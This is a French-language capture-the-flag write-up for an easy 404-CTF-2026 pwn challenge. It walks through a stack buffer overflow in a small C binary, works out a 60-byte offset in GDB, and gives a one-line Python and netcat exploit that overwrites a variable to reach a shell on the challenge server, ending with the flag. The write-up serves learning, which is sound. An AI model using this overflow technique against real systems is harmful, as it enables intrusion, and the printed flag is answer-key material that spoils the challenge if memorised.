404-CTF-2026

PWN - Marie Curie

2026-09-17easy#pwn#buffer-overflow#gdb#c

On nous donne un binaire C avec une vulnérabilité de buffer overflow.

Analyse du code

int var; int ingredient = 0x00000042; char reponse[48]; fgets(reponse, 128, stdin); if (ingredient == 0x84168802) { puts("Vous avez trouvé ! Bravo !"); system("/bin/sh"); }

fgets accepte 128 caractères alors que reponse ne fait que 48 octets — overflow possible.

Analyse GDB

En désassemblant le binaire :

0x00005555555551cb <+98>:  mov DWORD PTR [rbp-0x4],0x42    ; ingredient
0x0000555555555233 <+202>: lea rax,[rbp-0x40]              ; reponse (rbp-0x40)
  • reponse est à rbp-0x40 soit 64 octets avant rbp
  • ingredient est à rbp-0x4 soit 4 octets avant rbp
  • Distance entre reponse et ingredient : 64 - 4 = 60 octets

Exploitation

On envoie 60 octets de padding puis la valeur cible 0x84168802 en little-endian, et on maintient le shell ouvert avec cat :

(python3 -c "import sys; sys.stdout.buffer.write(b'A'*60 + b'\x02\x88\x16\x84' + b'\n')"; cat) | nc spawn.404ctf.fr 10303

Flag

404CTF{P0l0N1UM&R4D1UM}